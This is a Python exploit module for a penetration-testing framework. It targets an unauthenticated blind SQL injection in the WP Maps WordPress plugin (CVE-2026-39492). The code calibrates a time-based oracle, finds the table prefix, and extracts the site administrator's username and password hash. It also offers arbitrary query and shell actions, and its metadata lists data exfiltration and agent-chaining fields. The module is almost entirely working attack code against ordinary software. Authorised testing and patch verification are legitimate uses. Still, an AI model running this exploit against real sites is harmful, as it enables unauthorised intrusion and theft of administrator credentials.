WordPress WP Maps Blind SQLi (CVE-2026-39492)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-39492 — WP Maps unauthenticated blind SQLi."""

from __future__ import annotations

from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.sqli import Sqli, sqli_blind_extract_string
from lib.protocols.http.wordpress import Wordpress
from lib.protocols.http.wp_maps_probe import (
    WP_MAPS_PATCHED_VERSION,
    WP_MAPS_VULN_MAX,
    WpMaps,
)


class _WpMapsTimeOracle:
    """Time-based blind SQLi oracle for WP Maps location_id injection."""

    def __init__(self, module, *, delay: float = 3.0):
        self.module = module
        self.delay = max(1.0, float(delay))
        self.threshold = 0.0
        self.requests = 0

    def calibrate(self) -> bool:
        _, sigma, threshold, sample_count = self.module.wp_maps_baseline(self.module._wp_base())
        if sample_count < 3 or sigma > 3.0:
            return False
        self.threshold = threshold
        return True

    def _probe(self, condition: str) -> float:
        self.requests += 1
        payload = self.module.wp_maps_if_payload(condition, int(self.delay))
        return self.module.wp_maps_post_elapsed(
            payload,
            self.module._wp_base(),
            timeout=max(float(self.module.timeout or 15), self.delay + 8),
        )

    def true(self, condition: str) -> bool:
        return self._probe(condition) >= self.threshold

    def gt(self, expression: str) -> bool:
        return self.true(f"({expression})")

    def errors(self, subquery: str) -> bool:
        return False

    def extract(self, subquery: str, *, threads: int = 8, max_length: int = 256) -> Optional[str]:
        return sqli_blind_extract_string(
            self.true,
            self.gt,
            self.errors,
            subquery,
            threads=threads,
            max_length=max_length,
        )


class Module(Exploit, Http_client, Wordpress, WpMaps, Sqli):
    __info__ = {
        "name": "WordPress WP Maps Blind SQLi (CVE-2026-39492)",
        "description": (
            "Exploits CVE-2026-39492 in WP Maps <= 4.9.1: unauthenticated blind SQL "
            "injection via wpgmp_ajax_call location_id backtick bypass. Supports "
            "time-based confirmation and scalar extraction (admin credentials, custom SELECT)."
        ),
        "author": ["Wordfence", "IONIX", "KittySploit Team"],
        "cve": ["CVE-2026-39492"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-39492",
            "https://www.cve.org/CVERecord?id=CVE-2026-39492",
        ],
        "platform": Platform.PHP,
        "tags": [
            "wordpress",
            "wp-plugin",
            "wp-maps",
            "sqli",
            "blind",
            "time-based",
            "unauthenticated",
            "cve-2026-39492",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "data_exfiltration"],
            "expected_requests": 80,
            "reversible": True,
            "approval_required": True,
            "produces": ["credentials", "risk_signals", "exploit_paths"],
            "cost": 2.0,
            "noise": 0.7,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "php"],
                "confidence_min_any": {"wordpress": 0.3},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "sqli", "from_detail": ""},
                    {"capability": "credentials", "from_detail": ""},
                ],
                "suggested_followups": [],
            },
        },
    }

    action = OptChoice(
        "check",
        "Action: check, admin, query, shell",
        False,
        choices=["check", "admin", "query", "shell"],
    )
    delay = OptFloat(3.0, "SLEEP seconds for time-based oracle", False, advanced=True)
    threads = OptInteger(8, "Parallel extraction threads", False, advanced=True)
    table_prefix = OptString("", "WordPress table prefix (auto-detect when empty)", False)
    skip_version_check = OptBool(
        False,
        "Attempt exploit when plugin version appears patched or unknown",
        False,
        advanced=True,
    )

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    def _oracle(self) -> _WpMapsTimeOracle:
        return _WpMapsTimeOracle(self, delay=float(self.delay or 3.0))

    def sqli_fetch_scalar(self, user_line: str) -> Optional[str]:
        oracle = self._oracle()
        if not oracle.calibrate():
            print_error("Time-based oracle calibration failed")
            return None

        wrapped = self.wrap_scalar_expression(user_line)
        if not wrapped:
            return None

        inner = wrapped.strip("()")
        if inner.upper().startswith("SELECT"):
            subquery = inner
        else:
            subquery = f"SELECT {inner}"

        return oracle.extract(
            subquery,
            threads=int(self.threads or 8),
            max_length=256,
        )

    def check(self):
        probe = self.wp_maps_probe(self._wp_base())
        if not probe.get("found"):
            return {
                "vulnerable": False,
                "reason": "WP Maps plugin not detected",
                "confidence": "medium",
            }

        version = str(probe.get("version") or "")
        vuln = self.wp_maps_is_vulnerable(version)
        if vuln is False and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": (
                    f"WP Maps {version} >= {WP_MAPS_PATCHED_VERSION} (patched)"
                ),
                "confidence": "high",
            }

        alive, reason = self.wp_maps_endpoint_alive(self._wp_base())
        if not alive:
            return {
                "vulnerable": False,
                "reason": f"WP Maps AJAX endpoint unavailable ({reason})",
                "confidence": "medium",
            }

        confirmed, response_time = self.wp_maps_confirm_sqli(self._wp_base())
        if not confirmed and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": (
                    f"WP Maps {version or 'unknown'} — time-based SQLi probe failed "
                    f"(avg/threshold ~{response_time:.1f}s)"
                ),
                "confidence": "medium",
            }

        confidence = "high" if confirmed else "medium"
        return {
            "vulnerable": True,
            "reason": (
                f"WP Maps {version or 'unknown'} blind SQLi confirmed "
                f"via wpgmp_ajax_call (CVE-2026-39492, <= {WP_MAPS_VULN_MAX})"
            ),
            "confidence": confidence,
        }

    def _table_prefix(self) -> str:
        configured = str(self.table_prefix or "").strip()
        if configured:
            return configured.rstrip("_") + "_"

        prefix = self.sqli_fetch_scalar(
            "SELECT table_name FROM information_schema.tables "
            "WHERE table_name LIKE '%users' LIMIT 1"
        )
        if prefix and prefix.endswith("users"):
            return prefix[: -len("users")]
        return "wp_"

    def _extract_admin(self) -> bool:
        prefix = self._table_prefix()
        print_status(f"Using table prefix {prefix!r}")

        user = self.sqli_fetch_scalar(
            f"SELECT user_login FROM {prefix}users WHERE ID=1"
        )
        password_hash = self.sqli_fetch_scalar(
            f"SELECT user_pass FROM {prefix}users WHERE ID=1"
        )

        if user:
            print_success(f"Admin user: {user}")
        else:
            print_error("Admin username extraction failed")

        if password_hash:
            print_success(f"Admin hash: {password_hash}")
        else:
            print_error("Admin password hash extraction failed")

        return bool(user or password_hash)

    def run(self):
        try:
            print_status("CVE-2026-39492 — WP Maps blind SQLi via wpgmp_ajax_call")
            action = str(self.action or "check").strip().lower()

            if action in ("shell", "query"):
                check = self.check()
                if not check.get("vulnerable"):
                    print_error(check.get("reason", "Target does not appear vulnerable"))
                    self.not_vulnerable()
                    return False
                print_success(check.get("reason", "Target appears vulnerable"))
                if action == "shell":
                    self.shell_sqli = True
                self.handler_sqli()
                self.vulnerable()
                return True

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            if action == "admin":
                if not self._extract_admin():
                    return False

            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False